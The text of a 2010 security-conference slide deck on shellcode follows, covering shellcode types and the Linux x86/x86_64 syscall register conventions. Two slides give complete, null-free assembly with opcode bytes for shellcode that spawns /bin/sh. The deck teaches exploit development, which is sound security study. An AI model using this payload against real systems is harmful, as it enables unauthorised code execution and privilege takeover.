Design and implementation_of_shellcodes
- 1. Design and Implementation of Shellcodes Amr Ali Cairo Security Camp 2010
- 2. What is a shellcode? It's bytecode
- 4. Compiled Assembly source file
- 5. A string of mostly unprintable characters
- 6. Opcodes that the processor executes directly
- 7. Mostly doesn't contain NULL bytes
- 8. It is position independent
- 9. Types of Shellcodes Local shellcode
- 10. Remote shellcode
- 11. Download and execute shellcode
- 13. Omelet shellcode
- 14. Local shellcode System + Normal User Privs Shellcode Vulnerable Root Process System + Root Privs
- 15. Remote shellcode Network Shellcode Vulnerable Remote Service System + Root Privs
- 16. Download and execute shellcode Any Medium Shellcode Vulnerable Anything Payload on the Internet System Downloads Runs Payload
- 17. Egg-hunt shellcode Vulnerable Process Egg-hunt Shellcode Shellcode Unpredictable location
- 18. Omelet .....?
- 19. Omelet shellcode Egg-hunt Shellcode Shellcode Chunk Vulnerable Process Shellcode Chunk Shellcode Chunk Shellcode Chunk
- 20. x86 and Linux kernel ABI EAX : Holds the system call number. EBX : Contains the value or address of the 1 st argument to the system call. ECX : Contains the value or address of the 2 nd argument to the system call. EDX : Contains the value or address of the 3 rd argument to the system call. EDI : General purpose register. ESI : General purpose register. EBP : Base Pointer register. ESP : Stack Pointer register. EIP : Instruction Pointer register.
- 21. x86_64 and Linux kernel ABI RAX : Contains the system call number. RBX : General purpose register. RCX : General purpose register. RDX : The 3rd argument for the system call. RDI : The 1st argument for the system call. RSI : The 2nd argument for the system call. RBP : Base Pointer register. RSP : Stack Pointer register. RIP : Instruction Pointer register. R8 : The 4th argument for the system call. R9 : The 5th argument for the system call. R10 : The 6th argument for the system call. R11 – R15 : General purpose registers.
- 22. x86 shellcode .global _start _start: cltd # 0x99 push %edx # 0x52 push $0x68732f2f # 0x68 0x2f 0x2f 0x73 0x68 push $0x6e69622f # 0x68 0x2f 0x62 0x69 0x6e movl %esp, %ebx # 0x89 0xe3 push %edx # 0x52 push %ebx # 0x53 push %esp # 0x54 pop %edx # 0x5a movb $0x0b, %al # 0xb0 0x0b int $0x80 # 0xcd 0x80
- 23. x86_64 shellcode .global _start _start: cltd # 0x99 push %rdx # 0x52 movq $0x68732f6e69622f2f, %rbx # 0x48 0xbb 0x2f 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 push %rbx # 0x53 movq %rsp, %rdi # 0x48 0x89 0xe7 push %rdx # 0x52 push %rdi # 0x57 movq %rsp, %rsi # 0x48 0x89 0xe6 push $0x3b # 0x6a 0x3b pop %rax # 0x58 syscall # 0x0f 0x05
- 24. Information Smashing the stack for fun and profit
- 25. by Aleph1
- 27. Shellcode: the assembly cocktail
- 28. by Samy Bahra
- 31. Thanks Questions? All presented material today will be available on my website. http://amr-ali.co.cc